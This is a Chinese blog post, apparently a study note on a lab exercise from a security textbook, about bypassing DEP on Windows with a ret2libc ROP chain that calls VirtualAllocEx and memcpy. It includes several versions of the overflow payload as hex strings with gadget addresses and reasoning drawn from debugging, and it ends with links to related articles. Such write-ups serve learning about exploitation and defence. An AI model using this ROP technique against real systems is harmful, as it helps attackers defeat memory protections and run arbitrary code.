国庆假期没事做了几道pwn题练手,等有时间在贴出pwn题的分析。

  利用VIRTUALALLOC的方法绕过DEP其实和之前的方法大同小异了,只是VIRTUALALLOC开辟了一段新的可执行的内存空间,然后在复制shellcode,比修改内存属性要麻烦一点点。

  VirtualAlloc函数说明:

  

  lpAddress: 申请内存的起始地址,实验选了0x00030000

  dwSize: 申请的内存大小,实验选择0XFF,根据shellcode的大小确定

  flAllocationType: 申请内存的类型,固定0x00001000

  flProtect: 申请内存的属性,可读可写可执行,固定0x00000040

  一样先用\x90覆盖掉EIP

  

  现在的ebp和eip都被覆盖了,所以先修正ebp,用push esp; pop ebp

"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90"

  继续走

  

  此时的esp=ebp+8,找到VirtualAlloc函数的入口点

  

  确定了ebp以后,VirtualAlloc四个参数的位置就很好确定了,四个参数都是可以确定的值,所以堆栈现在可以这样布置

  

"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行

  直接将eip指向VirtualAllocEx函数的入口点,查看堆栈看到参数的放置是没有问题的

  接下来执行VirtualAllocEx函数,看到eax=0x00003000,表示函数执行成功,但执行完VirtualAllocEx以后程序的控制权需要pop ebp; retn 10以后才能拿到

  

  执行完retn 10以后的堆栈情况

  

  看到ebp又被破坏了,先不管,查看memcpy函数再决定是否需要修正ebp,void *memcpy(void *dest, const void *src, size_t n);从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中,所以只需要动态确定src的地址即可,看到又用了ebp,所以还得修正ebp

  

  是不是接下来一条指令直接push esp; pop ebp; 就可以了?经过我自己的调试发现这样在程序的后续走的流程中堆栈会出问题,会丧失对程序的控制权,因为memcpy参数填充的问题,如果直接push了源复制地址(这里可以选择esp),在做一些操作的话是不可行的,所以最好的方法是push esp; jmp eax; 这样可以不丢失程序的控制权,那么可以找到一条pop eax; retn 的指令,先保存一个eax的值,这个eax的值,就是memcpy的起始地址,然后在修正ebp

  

"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\x91\x90\x90\x90"
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"

  执行完以后的堆栈情况

  

  好,这时候看ebp的值,和mencpy所需要的参数,红框范围是memcpy的三个参数,第一个参数和第三个参数都是固定的,第二个参数是复制的起始地址,这里直接写进esp的值即可,所以还需要pop; pop; push esp; pop;pop ;retn 指令,很显然这种指令不好找也确实没有找到,所以选择一个pop; retn,这样可以使esp来到0x0012ff00的位置,然后下一步直接push esp; jmp eax,书中的eax指向的地址是pop pop retn,在将memcpy的起始地址放到第一个参数的下面4个字节,使得程序可以将memcpy的起始地址弹入eip,写文章的时候我才想到将eax的值直接放memcpy的起始地址也应该是可以的,经测试确实没有问题

  

"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x9e\x37\xfa\x77" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xd2\x97\xf8\x77" // pop ebx; retn
"\x92\x90\x90\x90"
"\x00\x00\x03\x00" //0x00030000
"\xc6\xc6\xeb\x77"
"\xff\x00\x00\x00"
"\xb8\x1d\x92\x7c" //memcpy

  Tips: 这个实验做起来还是很不错的,rop链的构造有点复杂和技巧,需要自己的一步一步手动的去调试,至于书上最后放了一些填充字符保证shellcode的正常执行,这个因机器而异的感觉,因为rop链里面的地址不一样,导致我的机器调试时并不需要加填充字符

  

  

RET2LIBC 练习(3) -- VIRTUALALLOC的更多相关文章

  1. OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()

    一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...

  2. OD: DEP & Ret2Libc

    Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...

  3. Ret2Libc 练习(1) -- ZwSetInformationProcess

    花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...

  4. paip.提升性能3倍--使用栈跟VirtualAlloc代替堆的使用.

    paip.提升性能3倍--使用栈跟VirtualAlloc代替堆的使用. #----为什么要设计堆栈,它有什么独特的用途? 为了性能 ....  堆比栈的性能 也有的说法为了编程容易...这个是错误的 ...

  5. 【Windows核心编程】VirtualAlloc 例子

    // VirtualAlloc.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #in ...

  6. 关于内存的5个函数(malloc,VirtualAlloc,GlobalAlloc,LocalAlloc,HeapAlloc)

    VirtualAlloc 该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页,如果用于内存分配的话,并且分配类型未指定MEM_RESET,则系统将自动设置为0 一次分配 1PAGE 以上的 R ...

  7. c/c++关于内存分配的知识(非常详细的比较,且VirtualAlloc分配内直接在进程的地址空间中保留一快内存)

    一个由c/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其操作方式类似于数据结构中的栈. 2.堆区(heap) — 一 ...

  8. Win内存分配函数(GlobalAlloc/HeapAlloc/LocalAlloc/VirtualAlloc)

    Win内存分配函数(GlobalAlloc/HeapAlloc/LocalAlloc/VirtualAlloc) 来源:http://blog.csdn.net/chunyexiyu/article/ ...

  9. Windows API 之 VirtualAlloc

    Reserves, commits, or changes the state of a region of pages in the virtual address space of the cal ...

随机推荐

  1. C++ 之 auto_ptr and shared_ptr

    1.auto_ptr 这个所谓的只能指针有点鸡肋!  没有引用计数,而且还有一个所有权转移的情况! 当所有权转移后,以前的auto_ptr将会成为null 2.shared_ptr 增加了引用计数,没 ...

  2. DotSpatial 删除图层要素

    //添加图层后,定义图层,并获取图层 //遍历要素,并进行删除 FeatureSet fs = null; fs = (FeatureSet) map1.Layers[0].DataSet; //要素 ...

  3. JAVA第三周作业(从键盘输入若干数求和)

    JAVA第三周作业(从键盘输入若干数求和) 在新的一周,我学习了JAVA的IO编程.下面的代码实现了从键盘输入若干数求和的目标.import java.util.Scanner; public cla ...

  4. swift 命名,字符串

    命名: let  numberOfDogs = 6 +2; 字符串连接: let finishedMessage = username + "xx" + password; 字符串 ...

  5. 最优雅,高效的javascript字符串拼接

    这种方式是es6的语法.使用键盘1左边的那个字符 `` 拼接, 再加上js自带的模板引擎拼接字符串非常快速.这东西也没什么高深的,看几个例子就懂了. console.log(`<xml> ...

  6. CMD和AMD区别的概括

    CMD和AMD区别   AMD CMD 关于依赖的模块 提前执行(不过 RequireJS 从 2.0 开始,也改成可以延迟执行(根据写法不同,处理方式不同)), 延迟执行 关于依赖的位置 依赖前置 ...

  7. 进程间通信 System V 消息队列

    1.msgget (key_t ket,int flag) ; //创建一个新的消息队列或者访问一个已存在的消息队列 2.msgsnd(int msid, const void *ptr ,size_ ...

  8. Bzoj索引

    1001 : http://ideone.com/4omPYJ1002 : http://ideone.com/BZr9KF1003 : http://ideone.com/48NJNh1004 : ...

  9. linux命令:chgrp

    1.命令介绍: chgrp用来改变文件或目录所属组的权限,要改变成的组必须在/etc/group文件存在才可以. 2.命令格式: chgrp [选项] 组 文件 3.命令参数: 必要参数: -c 当发 ...

  10. 关于HTML标签那些事儿

    关于html相信对于每一个互联网从业者来说实在熟悉不过的一个名词,特别是web前端工程师来说更是基础中的基础.html是hyper text markup language的首字母缩写,翻译过来就是超 ...